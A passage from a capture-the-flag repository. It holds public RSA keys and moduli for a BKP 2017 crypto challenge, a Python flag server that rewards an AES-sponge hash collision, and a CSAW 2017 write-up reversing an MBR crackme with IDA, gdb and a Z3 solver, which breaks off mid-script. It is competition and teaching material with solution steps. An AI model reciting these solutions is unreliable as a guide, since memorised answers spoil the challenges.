12 | 9BgRKGkImcl2rPe2FB6fWRdrsLb5pSBmx5v2acU5cUo4kTYnR4VZP1rjuzry7/y0
13 | f0pFunKlEX+onEFzx51mPpkCAwEAAQ==
14 | -----END PUBLIC KEY-----
15 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/key-8.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAzNNleTib5RmN3mlcLZe3
3 | 78wE4zIWGsYPgtrGrjO7lt2IVxORWvLpl7H9wwdnNWCj+f4ZNa07Kgjf+lXI10PN
4 | zJ5lKOQ/wL0DDLG0nhLkKIjHGAHgcrjd00Wgoop2ysOvF1dHaOSmao4H2WWP/xrZ
5 | 27phhYjGxMvDQqeG3nM6fQvbHwjkjLrUWGWrzErGjbKh46FPFZrdmE64PLkkG6t5
6 | f0d5MYab029CMk6IVBpwluy1iVZEtBHhmeIczjC4NSVtVVthMYVYPu/cJ7o4g1GM
7 | hD9ARMMJ45x2Yc8UnDwOD2VllURoGAP6+9NylVqHjcuzRPONTLOdohpG/Ix5+zm2
8 | GajEuqx2kQat2wB0IXHERQkyn6dnOoF4V05fXWoca52zniX4CueTemPkYJrE+aPo
9 | LGo7j7EpJ//FuoeyVqPzkWrYst2kuDe/b6n5BdLWLGafm0B7xMZ8RYJUTrth4bB3
10 | 8ERolfWIkeapBGD38JmBvzu1fSTO1Eu2yzGFnRWfEAzDWh4SNBfa5II7N0ol3M4/
11 | F2ryESXPlImFdnQRVQhngpFe5re+fDpBX7fD3Pg8atS5PlhG7TlVttjy3VFFwV/5
12 | GVJV24J5zcbZNf5yf+Od8C+6MbaqxS+2BfHO7DD6/6cyTR+yoa1bMlxIs1zZYhMO
13 | 1tpkocFy54Y9UFQRWSuGZdcCAwEAAQ==
14 | -----END PUBLIC KEY-----
15 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/key-9.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAsXrPdzCdzNzwWkJZIS7j
3 | sUiyTlL9OarZy1WMqkxJo1vtaQQDegZfkvOv/mDcASP3x58f1Sz4/LAwleM8zum+
4 | jVV5a2EAd/0G3jNs0lU/BpXYCb8O7qvOpQhTh/omcNyBtA9DNKIJNEbF5TY1p7f7
5 | PRVhpi2RuWaTYSlLTmjLFUjZxI3z702pqbPI7t1PmQHDsp9Vk9soAjqnw5QA0hpT
6 | 180BTzfRaHx6fH81mP/X0CSUG/YoBqkjaNc0GMBaqmcUXRcwbewivl41RzuD2aa3
7 | Gt5avDRA1unaDVoSKtEd6sxFxdISR1XxpgyRnvfvQiCh7SU+sa2g3gMIaBw9D1WN
8 | 6n3h45ZDB4Kh3aEbROHWoRki5m13KFMB4hLCzaF3CQCMvhOKpsnuFSABcA0/K/ct
9 | 2LFo+bZ2T1v55+c21PubQFO/XiBdf4VAT64gqpq1Ex6O3BfdHhNLg0PwgK4FMokl
10 | lHYS7q9PtEOMDPgrbJOP7+v4WD7aVElIWNAz9q8D+1L4wC7EDG8QQfkZVJnOO8p7
11 | 9pJGMe02kel2cH7T5wG3Y3rjyLhN9bKGSnKDxre7yt4sDimBX5MFBuRy3PPkyXiQ
12 | +Rv5/iJOTC51MlkHIo3NqdfM4XhyVAxOLpn84fkadV8jcs/HGAjnefQJBnGwDoi3
13 | t6Rd0wSoHLBLehj0Vn7XcwUCAwEAAQ==
14 | -----END PUBLIC KEY-----
15 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/keys:
--------------------------------------------------------------------------------
1 | key-0.pem
2 | n=879915449270461710485190695384984333346108808238163100635589622985858681174840077891791908299778396399761712011997011746463613908680308851346753645211864161697422478686970556327768137361234129772891278276357122727947947950244829806055158881016642817199313982712486191412897962236823871269648420736534924423486406548812730734126326674748473583138652251560681262492811924913496720278164857004639526764284643238839653952620488132689109774675909664582253141977855536278849104478716737830183823218243357824262208874640011261393661502090701835779701622110255634550577381315794398401099288190684976087038357375439896657810260507762688383926068495576680257990550715767191269347630617636238617346854357508261801349618172932911727280032490944086446846201447378546844207137105811675361827084844211756092591937052615042095862729647068769829375686485423039379493711843213227723084973490186764653471416174456924874481547963600275748770741484515078249187279735372230164334982815930799440541523328018129242237204214842553638367339912643041927393196022387262262204652591800895390943699817163674861716528082374689844511331037929096168076500795597504227135991135809164087623928304090411617142569812170269488375850421090620593124327092827212833845984937
3 | e=65537
4 | key-1.pem
5 | n=803678453359654678294908849796070879683957150793334760331914564560436346246318146972037345532196144846302396231568208129578229658427016137015812294767829769526183110361155218973534132637868629878697276885010621667798340990722479232206539737134630022679611384856651457676742503181552612577723889148480371814427003519911887820259995809138224880985974019240787368063863785676352901706320933005866320209971047564687269855667449125006030388570791745025604012995932967808845626861494067477576269553063188942863345823904401993114875063039172398942273922006919297914636076165764724319820975790354316178447072264025710629612792744623493832043468536056092942850806682235592789516752472672702894552294332079944336742847297657777111820207270697743634301201554591025634597867621179900279341273373266922969077784989097180467385359637467960548625099446206714449802133881666168001526050626012123346093003692879254719481099405181507957042513412777445437991143507101426673368439550927862534716776799293748523014679560356204884432499174326668666155331266289275676407763431338435327338882392875844836751881757226026820173509270505776422652436206224746614491397668247316050974170122064912373180229234431227192655345960223082314479121823620163578746247313
6 | e=65537
7 | key-2.pem
8 | n=549100898763808112064590568096509639806005267015788479836998648112330729762142760306265813195181231930171220686827142359040315653020182064933039077953579528749272321744478656324986362155106653831095037724728643255316641716947998245610175805278242802144980117927688674393383290354985820646326870614197414534217177211618710501438340081867982883181358830449072661742417246835970022211465130756382481343160426921258769780282358703413114522476037306476452786236456339806564839822630841425055758411765631749632457527073092742671445828538125416154242015006557099276782924659662805070769995499831691512789480191593818008294274869515824359702140052678892212293539574359134092465336347101950176544334845468112561615253963771393076343090247719105323352711194948081670662350809687853687199699436636944300210595489981211181100443706510898137733979941302306471697516217631493070094434891637922047009630278889176140288479340611479190580909389486067761958499091506601085734094801729179308537628951345012578144960250844126260353636619225347430788141190654302935255862518781845236444151680147886477815759103864509989480675169631226254252762579781553994364555800120817100328166428687776427164098803076677481602221304265962340500651339469391627432175447
9 | e=65537
10 | key-3.pem
11 | n=625370676793301609007636145380331611237919351425496690404114180302249419719867435237342547950459491394834137179033102621573611784738388518952362848787237787440594300323769334356435131992521522997795029079251912507591819194229112877831181987001350385569134107880067429777572352378951587000987749447829255561035861423897841083194636994924140527822677164175006590642236546332030533920247393734145161727026178314748349757632676858997648848951518713836001935694487214337663667186794458714595706552931844195313593265852623091839910783970211228963728395962479544383117833611165858148867888664339695901377282163112482988096747232893295750676690941568494463290730116247822838421828649339437010788165430710512903632914670529270528098439859718986580569781164710102583602429563649626238817198851752150256839194761250249327990903746851390967504209752042479527523791824857674302720147951681393130861129469956962513163744166621211214770096232423058352324863327706013479610785632814580681502127018494520155709115651059545236646813027941576086510607434365502848385373510684649855795155224752033959337914546058251330474025320961186763814554194220596151399428277009154211720727770696506865214610059620204055226083684833160528072571967096188932684068843
12 | e=228667357288918039245378693853585657521675864952652022596906774862933762099300789254749604425410946822615083373857144528433260602296227303503891476899519658402024054958055003935382417495158976039669297102085384069060239103495133686397751308534862740272246002793830176686556622100583797028989159199545629609021240950860918369384255679720982737996963877876422696229673990362117541638946439467137750365479594663480748942805548680674029992842755607231111749435902398183446860414264511210472086370327093252168733191324465379223167108867795127182838092986436559312004954839317032041477453391803727162991479936070518984824373880381139279500094875244634092093215146125326800209962084766610206048422344237134106891516381979347888453395909395872511361844386280383251556028219600028715738105327585286564058975370316649206938752448895524147428799966328319661372247669163998623995646371176483786757036960204837994662752770358964913870689131473714797550537422931003343433377469029232185552979648755665051117443571002017829146470221483652014417043043920340602378994630507647460734411326405049128160906832664174206633659153486878241903912874200129515570971220983561054906106575556061388168231915057339795246395626504771079756241685975773086049021119
13 | key-4.pem
14 | n=693029274887353228407241634151666394848735790190615012301892319642252043063441848065716981473964772442758740370147046907610931634092918165021079036177362202111606191956418667584361908276118660423367531586528459110446538285556884064171765200923553991719010617219127236546574523638048350982056281625504368802910163823494559412837552527875343392553408538829400672258371166335106950477308076204615614002674078815990333298949792313414447948554863231405126552767821926863542808760806617307175797842493616569408376748813625064500486610855810346855210287339165197986553654602677812521680748485202471044713053183325655849850997212737083080466361085135767845684389568237981315538711572490435547358716105872380307864256754216659697090488815080191668745091862519968395816165962906971976332747183909682018887880730856165892484276277315514729408134825829435787368836101082383777555602109552666946636274769705939102192515512772214165267762974326870938422311435887780687375502822263104262793144084464266516328466921283433546722681655409668160240996661786900031559973837193865566010853663246854051817155542757612318538142879371196485283181654007531624894102938084847401272297968117074664980694267271434859758912794604099694079778856636033918615329139
15 | e=65537
16 | key-5.pem
17 | n=558648506818474261267926047815663564748461840589382794341879898045098955763377286011667977696237182735822338560444489236573716372544780763605058551497478421716695344033790440922077026632959955153636731271279530879698494369588461643355919436273660662159076752508148851041536971067982979226147537361176787716029952139870201713878877243032756910168897737917616572847826633244329952012102367416741268778934218199568064941081826566443189208251171186979473599344539318984264322522232685526823205535961297363403448343924661327298106111649831891708199941928427214309187101550517524055435481742017905815136802698323157353546126780284827134167563307825000360329981837590299960910817295539277452762627317845829666639427884767086690783733059159124150824416125937870140463622427876694849937911497503756067589073583336959038335208291257532551330243155516181339811318004840305586236286443238140235018884985545095377560037625784549759454267069524818501442321838507902367554708929358105208842619264547469164614046722155870893273726762337125054030229277549499202475208465532220431433529448716325851822414527832136466295720413026664365817577803620995791798155374498287030048333500284317171445315596658550078267456708319243685452572756019788684443452711
18 | e=65537
19 | key-6.pem
20 | n=767185100488428919016632170568302864430595686111633853865853178271740753807631107438469636874149151975213091797469800231881024440218931836348027417405438325824297104749723127225412009768596670293358224481910117990221965588027812122211776093837448747674231104831266261442032627678816332117512253254417902273087090526668802909231100189062059172214484966826827211424626065276059613985574544412609131190663177251147222337439529271810128210037468960468152611646862922563271251560265472129891502660301505695797093180509246596535280995459316546041298821485677298673720375230145667734470085748234479066650224747956677855856599512299156493819425327975989659334858931601551091941865956355246897792662048547218085830897307455941801348993015738325478197038027303177775403199123814405059965177746759645789493365730861927684438829511689481413687211445070334362680691231035336073760204340782163790243228692508230246815979346673469404207207020959641247494823624451087045877926954318590208564006401609051341418752333546705485665209085221084705978680432756976392471120062576376133959869719109290112050140002435438961179172972247159977728102448723565655241549851208603332382646287005177858241486292754465516995791462277418258182436844243511176521576921
21 | e=65537
22 | key-7.pem
23 | n=749979763679702614552923001102413222598420327055143366592884454475830616928153389158723443794333509816979393672100126717920960210564132627851501187838900945477140456950347483843086517732539089731363223782588144422490875489986245422507159712938060384936636765688054831684734295961422977675645176192427969220210138514400434077185110417766208052910853299757473785274820964871707502282045685992531448579207544507573959531187195524332421055358738466072315312103928920705607161331344398533417361927657409654496308410048463098960494159384221458472398370268191814997553476176826297381609008035867257348143961323573881680269182736030354970098065304954899262171615088731040878595857748046076662910562652037040735713693406561517350044251964371621498301968727571734228987882429973816153566073349404359830016504639125814307759178088582512780451606737543597544214564914980448467778865632280695665940703831017727134198910142429699156370038983796624625699467555234765460907600172513773056738183411343287267146311797403783987608080344344526106774676468531548285487006033499861509640444447244310628025251530293022040337306263504088064080037277524093221594120941548257761209774320384071949036794557132062962674951078611663278430157158712939121970921113
24 | e=65537
25 | key-8.pem
26 | n=835616225780375984701766992018195440249708700761062279226368883423330817740067311011371031574823236066898536448592328455588369111013270126439333604791769046655994647578719751004885933568624247530698552462689033948009609948401003188555251922416737741160959890066540234136928996095330520460487178029735809913389739642643307192009178003681974456724707874346235581445822348080982542153948150175947977827625107399399404137706619562203919538411620968260947192617562882768983155735648249707329065345740732438510607932587281032430527452485102478068730597804099509609386304374173844493625045208747040715265866203916348208234022808032278220978629730526040706180758525181342305106995282032560326864582714407170764923307697425764487618156805456836529215999898063305153294981350849108733408031114131884345075412562921452068215024008134705342645030066326669695424971554510803678458457036167449139154994000309186060082853042638968401724806794693376494500466086213637588274765627870304453406172905055818196916744019902451982837257936918262069594689557850115795676221205505915237991585296817690648755049673155965874712222034397529672530846503585894788294896787046867269515061285075776698076392557233361560671512770339641171900703718653311229660390871
27 | e=65537
28 | key-9.pem
29 | n=724054120237284707178069918392128048662616769974262468389016601557851230388749290126440611602406823051130056933383189776262483480010806353696794569691649303299980961177195685032202211743884060761484355784366288120982858879048366043725473826802989218059838646021224513133386480538288812668832303787192860457714642579545808474868820933939248687999171629222849837805691627647726081290411436102763476885001076704474507233352230947009264845842937377063916055504431117377754580474917843912463556067506821753343387796034840843268990483839673727354941747157411057445335959837212510605033993227000315227139888093938586216807809445532823645274968167405702070444307046713676713448875018164311093863816425051507509580213743097762014062799306737867670932417925143146686154121315127206424666074293929380570699940692435435269078835320195201030206360604780560043835466354259252320426727422087372145555881623847780317911079051025008496326448008782373514350194641351329260507934761075274338182542572948220775833355166001432487783357791838466298380139231580903156564108118830289424647861780730965532355437475268050798502803444227139167539864749651850391386784308304704933567116979955857915922311779265210289886027026257587252275023071594299473744327429
30 | e=65537
31 |
--------------------------------------------------------------------------------
/BKP2017/sponge/sponge.py:
--------------------------------------------------------------------------------
1 | from Crypto.Cipher import AES
2 | from SocketServer import ThreadingMixIn
3 | from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
4 | import sys
5 |
6 | class Hasher:
7 | def __init__(self):
8 | self.aes = AES.new('\x00'*16)
9 |
10 | def reset(self):
11 | self.state = '\x00'*16
12 |
13 | def ingest(self, block):
14 | """Ingest a block of 10 characters """
15 | block += '\x00'*6
16 | state = ""
17 | for i in range(16):
18 | state += chr(ord(self.state[i]) ^ ord(block[i]))
19 | self.state = self.aes.encrypt(state)
20 |
21 | def final_ingest(self, block):
22 | """Call this for the final ingestion.
23 |
24 | Calling this with a 0 length block is the same as calling it one round
25 | earlier with a 10 length block.
26 | """
27 | if len(block) == 10:
28 | self.ingest(block)
29 | self.ingest('\x80' + '\x00'*8 + '\x01')
30 | elif len(block) == 9:
31 | self.ingest(block + '\x81')
32 | else:
33 | self.ingest(block + '\x80' + '\x00'*(8-len(block)) + '\x01')
34 |
35 | def squeeze(self):
36 | """Output a block of hash information"""
37 | result = self.state[:10]
38 | self.state = self.aes.encrypt(self.state)
39 | return result
40 |
41 | def hash(self, s):
42 | """Hash an input of any length of bytes. Return a 160-bit digest."""
43 | self.reset()
44 | blocks = len(s) // 10
45 | for i in range(blocks):
46 | self.ingest(s[10*i:10*(i+1)])
47 | self.final_ingest(s[blocks*10:])
48 |
49 | return self.squeeze() + self.squeeze()
50 |
51 | class HashHandler(BaseHTTPRequestHandler):
52 | def do_GET(self):
53 | if self.path in ['/favicon.ico', '/index.html']:
54 | # Stop.
55 | self.send_response(409)
56 | return
57 |
58 | try:
59 | to_hash = self.path[1:].decode('hex')
60 | except TypeError:
61 | # Bad hex.
62 | self.send_response(418)
63 | return
64 |
65 | if to_hash == GIVEN:
66 | # Nice try.
67 | self.send_response(451)
68 | return
69 |
70 | result = HASHER.hash(to_hash)
71 | print(result)
72 | print(TARGET)
73 | if result != TARGET:
74 | # Wrong
75 | self.send_response(400)
76 | return
77 | self.send_response(200)
78 | self.end_headers()
79 | self.wfile.write(FLAG)
80 |
81 | class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
82 | pass
83 |
84 | if __name__=='__main__':
85 | assert(len(sys.argv) >= 3)
86 | HASHER = Hasher()
87 | with open('FLAG.txt') as f:
88 | FLAG = f.read()
89 | GIVEN = 'I love using sponges for crypto'
90 | TARGET = HASHER.hash(GIVEN)
91 | server = ThreadedHTTPServer((sys.argv[1], int(sys.argv[2])), HashHandler)
92 | server.serve_forever()
--------------------------------------------------------------------------------
/CSAWQuals2017/realism/README.md:
--------------------------------------------------------------------------------
1 | # CSAW CTF 2017 - Realism (400 pts)
2 |
3 |
4 | This problem was much like any other CTF reversing challenge, but instead of a Linux or Windows executable, the binary was a [Master Boot Record](https://en.wikipedia.org/wiki/Master_boot_record) (MBR) that needed to be run under the [QEMU](https://www.qemu.org/) full-system emulator.
5 |
6 | We're given the command to boot the MBR, `qemu-system-i386 -drive format=raw,file=realism`, and we're presented with this:
7 |
8 | 
9 |
10 | Simple, right? The entire MBR is only 512 bytes in size, so it's not much to reverse.
11 |
12 | # Static Analysis
13 | First, we load the MBR into [IDA](https://www.hex-rays.com/products/ida/), and after some tinkering, realize it gives a nice disassembly in 16-bit mode.
14 |
15 | From any OS class, we should know that the MBR is loaded at physical address `0x7c00`, but it's not hard to tell from all the references to `loc_7C__`. We can re-load the binary in IDA at offset `0x7c00`, giving us nice, clickable references. Here's the [full disassembly](https://github.com/TechSecCTF/writeups/blob/master/CSAWQuals2017/realism/realism.ida), with some strings commented.
16 |
17 | The important part of the MBR, the flag-checking bit, begins at `0x7C6F`:
18 |
19 | ```
20 | seg000:7C66 cmp ds:byte_7DC8, 13h
21 | seg000:7C6B jle loc_7D0D
22 | seg000:7C6F cmp dword ptr ds:1234h, 'galf'
23 | seg000:7C78 jnz loc_7D4D
24 | seg000:7C7C movaps xmm0, xmmword ptr ds:1238h
25 | seg000:7C81 movaps xmm5, xmmword ptr ds:loc_7C00
26 | seg000:7C86 pshufd xmm0, xmm0, 1Eh
27 | seg000:7C8B mov si, 8
28 | seg000:7C8E
29 | seg000:7C8E loc_7C8E: ; CODE XREF: seg000:7CC1j
30 | seg000:7C8E movaps xmm2, xmm0
31 | seg000:7C91 andps xmm2, xmmword ptr [si+7D90h]
32 | seg000:7C96 psadbw xmm5, xmm2
33 | seg000:7C9A movaps xmmword ptr ds:1268h, xmm5
34 | seg000:7C9F mov di, ds:1268h
35 | seg000:7CA3 shl edi, 10h
36 | seg000:7CA7 mov di, ds:1270h
37 | seg000:7CAB mov dx, si
38 | seg000:7CAD dec dx
39 | seg000:7CAE add dx, dx
40 | seg000:7CB0 add dx, dx
41 | seg000:7CB2 cmp edi, [edx+7DA8h]
42 | seg000:7CBA jnz loc_7D4D
43 | seg000:7CBE dec si
44 | seg000:7CBF test si, si
45 | seg000:7CC1 jnz short loc_7C8E
46 | ```
47 |
48 | First, it compares a DWORD at physical address `0x1234` (where the input is read into), with `"flag"`, and if they're equal, carries out a series of floating-point operations on [XMM registers](https://en.wikipedia.org/wiki/Streaming_SIMD_Extensions).
49 |
50 | Basically, the rest of this assembly snippet will loop through the input bytes, perform XMM operations on each one, and compare the result against a [sequence of bytes](https://github.com/TechSecCTF/writeups/blob/70fedf363d08acc7c5b9bf3d3d5c1ef53dce0636/CSAWQuals2017/realism/realism.ida#L201) at
51 | the end of the boot record. The key to this problem is understanding the XMM operations.
52 |
53 | The XMM registers are 128-bits long and are normally used for fast floating point operations. In this challenge they're being (ab)used for obfuscating the flag.
54 |
55 | # Dynamic Analysis
56 | You can attach a gdb instance to QEMU by adding a `-s` option, and then connecting with
57 |
58 | ```
59 | gdb -ex 'target remote localhost:1234' \
60 | -ex 'set architecture i8086' \
61 | -ex 'break *0x7c6f' \
62 | -ex 'continue'
63 | ```
64 |
65 | If we input a string that starts with `"flag"`, passing the first `cmp`, we can see the initial value in `xmm0` when it starts the checking loop at `loc_7c8e`.
66 |
67 | We can actually print these XMM registers in GDB.`xmm0` is initially the 16 bytes of our input that follow `flag` — we can test it with `abcdefghijklmnop`.
68 |
69 |
70 | ```
71 | (gdb) p $xmm0
72 | $3 = {..., uint128 = 0x706f6e6d6c6b6a696867666564636261}
73 | ```
74 |
75 |
76 | `xmm5` is loaded with the bytes at the beginning of the MBR:
77 |
78 | ```
79 | (gdb) p $xmm5
80 | $2 = {..., uint128 = 0x220f02c883fbe083c0200f10cd0013b8}
81 | ```
82 |
83 | The`pshufd` [instruction](http://x86.renejeschke.de/html/file_module_x86_id_254.html) shuffles our input in a manner determined by the argument `0x1E`, resulting in
84 | ```
85 | (gdb) p $xmm0
86 | $4 = {..., uint128 = 0x6463626168676665706f6e6d6c6b6a69}
87 | ```
88 | Next, a loop that checks each byte of this shuffled input. Let's break down what it does:
89 |
90 | 1. Applies a [mask](https://github.com/TechSecCTF/writeups/blob/70fedf363d08acc7c5b9bf3d3d5c1ef53dce0636/CSAWQuals2017/realism/realism.ida#L177) to the input (`0x7c91`)
91 | 2. Computes a "[sum of absolute differences"](http://www.felixcloutier.com/x86/PSADBW.html) between `xmm5` (initialized to some constant data) and `xmm2` (which stores our masked input), updating `xmm5` (`0x7c96`)
92 | 3. Moves the upper and lower portions of the result into EDI (`0x7c9a-0x7ca7`)
93 | 5. Compares EDI with some value in the MBR (`0x7cb2`)
94 | 6. Decrements the counter and loops back if there are more bytes to check
95 |
96 | This loop runs for 8 iterations before exiting and displaying the "CORRECT" message. So, once we've fully reversed this snippet, the goal is to find the flag that passes these checks.
97 |
98 | # SMT Solving
99 | Let's treat each byte of the input we pass in as a separate variable, $a$ through $p$. Because of the nature of the `psadbw` instruction from step 2, each iteration of the loop gives us two equations involving our variables. This results in $8 \cdot 2 = 16$ equations among $16$ variables.
100 |
101 | Since the equations involve absolute values, they're non-linear, but that should be no problem for any [SMT solver](https://en.wikipedia.org/wiki/Satisfiability_modulo_theories) worth its salt. We'll use [Z3](https://github.com/Z3Prover/z3), a powerful theorem-prover developed by Microsoft. Our strategy will be to write some python code to generate our equations, and then pass these equations to Z3 to find a solution.
102 |
103 | Our python code will have to simulate the operations performed by the XMM instructions. We'll ignore the shuffle instruction for now, since that is only performed once before the loop. This is the core function of [the script](https://github.com/TechSecCTF/writeups/blob/master/CSAWQuals2017/realism/print_constraints.py) we wrote:
104 |
105 | ```python
106 | def print_constraints():
107 | for i in range(8):
108 | prev_esi = esi_consts[i-1]
109 | xmm5 = esi_to_xmm5(prev_esi)
110 | if i == 0:
111 | xmm5 = xmm5_start
112 |
113 | esi = esi_consts[i]
114 | s1 = esi % (1 << 0x10)
115 | s2 = (esi - s1) >> (0x10)
116 |
117 | # sum of absolute differences between xmm5 and our flag
118 | s = ''
119 | for j in range(8):
120 | if j == 7-i:
121 | # This is the masking step
122 | s += 'abs(0-' + str(ord(xmm5[j])) + ') + '
123 | continue
124 | s += 'abs(' + variables[j] + '-' + str(ord(xmm5[j])) + ') + '
125 | s += '0 == {}, '.format(s1)
126 | print(s)
127 |
128 | s = ''
129 | for j in range(8,16):
130 | if j-8 == 7-i:
131 | # This is the masking step
132 | s += 'abs(0-' + str(ord(xmm5[j])) + ') + '
133 | continue
134 | s += 'abs(' + variables[j] + '-' + str(ord(xmm5[j])) + ') + '
135 | s += '0 == {}, '.format(s2)
136 | print(s)
137 | ```
138 |
139 | When run, it outputs our 16 equations:
140 |
141 | ```
142 | abs(a-34) + abs(b-15) + abs(c-2) + abs(d-200) + abs(e-131) + abs(f-251) + abs(g-224) + abs(0-131) + 0 == 655,
143 | abs(i-192) + abs(j-32) + abs(k-15) + abs(l-16) + abs(m-205) + abs(n-0) + abs(o-19) + abs(0-184) + 0 == 735,
144 | abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(0-2) + abs(h-143) + 0 == 605,
145 | abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(0-2) + abs(p-223) + 0 == 656,
146 | abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(0-0) + abs(g-2) + abs(h-93) + 0 == 545,
147 | abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(0-0) + abs(o-2) + abs(p-144) + 0 == 521,
148 | abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(0-0) + abs(f-0) + abs(g-2) + abs(h-33) + 0 == 632,
149 | abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(0-0) + abs(n-0) + abs(o-2) + abs(p-9) + 0 == 635,
150 | abs(a-0) + abs(b-0) + abs(c-0) + abs(0-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-120) + 0 == 563,
151 | abs(i-0) + abs(j-0) + abs(k-0) + abs(0-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-123) + 0 == 505,
152 | abs(a-0) + abs(b-0) + abs(0-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-51) + 0 == 657,
153 | abs(i-0) + abs(j-0) + abs(0-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-1) + abs(p-249) + 0 == 606,
154 | abs(a-0) + abs(0-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-145) + 0 == 597,
155 | abs(i-0) + abs(0-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-94) + 0 == 553,
156 | abs(0-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-85) + 0 == 624,
157 | abs(0-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-41) + 0 == 529,
158 | ```
159 |
160 | We can now take these equations and add each of them to Z3 as a constraint. To do this, we'll first define a solver `s`, declare 16 integer variables, and constrain each of them to be printable ASCII values. We also need to define [our own absolute value function](https://stackoverflow.com/questions/22547988/how-to-calculate-absolute-value-in-z3-or-z3py) that Z3 can use.
161 |
162 | ```python
163 | import sys
164 | sys.path.append('z3/build/')
165 | from z3 import *
166 |
167 | def abs(x):
168 | return If(x >= 0,x,-x)
169 |
170 | s = Solver()
171 |
172 | a = Int('a')
173 | b = Int('b')
174 | c = Int('c')
175 | d = Int('d')
176 | e = Int('e')
177 | f = Int('f')
178 | g = Int('g')
179 | h = Int('h')
180 | i = Int('i')
181 | j = Int('j')
182 | k = Int('k')
183 | l = Int('l')
184 | m = Int('m')
185 | n = Int('n')
186 | o = Int('o')
187 | p = Int('p')
188 |
189 | s.add(a >= 32)
190 | s.add(b >= 32)
191 | s.add(c >= 32)
192 | s.add(d >= 32)
193 | s.add(e >= 32)
194 | s.add(f >= 32)
195 | s.add(g >= 32)
196 | s.add(h >= 32)
197 | s.add(i >= 32)
198 | s.add(j >= 32)
199 | s.add(k >= 32)
200 | s.add(l >= 32)
201 | s.add(m >= 32)
202 | s.add(n >= 32)
203 | s.add(o >= 32)
204 | s.add(p >= 32)
205 |
206 | s.add(127 > a)
207 | s.add(127 > b)
208 | s.add(127 > c)
209 | s.add(127 > d)
210 | s.add(127 > e)
211 | s.add(127 > f)
212 | s.add(127 > g)
213 | s.add(127 > h)
214 | s.add(127 > i)
215 | s.add(127 > j)
216 | s.add(127 > k)
217 | s.add(127 > l)
218 | s.add(127 > m)
219 | s.add(127 > n)
220 | s.add(127 > o)
221 | s.add(127 > p)
222 | ```
223 |
224 | Then, we'll add our 16 equations:
225 |
226 | ```python
227 | s.add(abs(a-34) + abs(b-15) + abs(c-2) + abs(d-200) + abs(e-131) + abs(f-251) + abs(g-224) + abs(0-131) + 0 == 655)
228 | s.add(abs(i-192) + abs(j-32) + abs(k-15) + abs(l-16) + abs(m-205) + abs(n-0) + abs(o-19) + abs(0-184) + 0 == 735)
229 | s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(0-2) + abs(h-143) + 0 == 605)
230 | s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(0-2) + abs(p-223) + 0 == 656)
231 | s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(0-0) + abs(g-2) + abs(h-93) + 0 == 545)
232 | s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(0-0) + abs(o-2) + abs(p-144) + 0 == 521)
233 | s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(0-0) + abs(f-0) + abs(g-2) + abs(h-33) + 0 == 632)
234 | s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(0-0) + abs(n-0) + abs(o-2) + abs(p-9) + 0 == 635)
235 | s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(0-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-120) + 0 == 563)
236 | s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(0-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-123) + 0 == 505)
237 | s.add(abs(a-0) + abs(b-0) + abs(0-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-51) + 0 == 657)
238 | s.add(abs(i-0) + abs(j-0) + abs(0-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-1) + abs(p-249) + 0 == 606)
239 | s.add(abs(a-0) + abs(0-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-145) + 0 == 597)
240 | s.add(abs(i-0) + abs(0-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-94) + 0 == 553)
241 | s.add(abs(0-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-85) + 0 == 624)
242 | s.add(abs(0-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-41) + 0 == 529)
243 | ```
244 |
245 | And finally, we'll ask Z3 to extract a solution, and reshuffle our variables to obtain the flag:
246 |
247 | ```python
248 | print(s.check())
249 | mod = s.model()
250 |
251 | chars = [
252 | mod[a],
253 | mod[b],
254 | mod[c],
255 | mod[d],
256 | mod[e],
257 | mod[f],
258 | mod[g],
259 | mod[h],
260 | mod[i],
261 | mod[j],
262 | mod[k],
263 | mod[l],
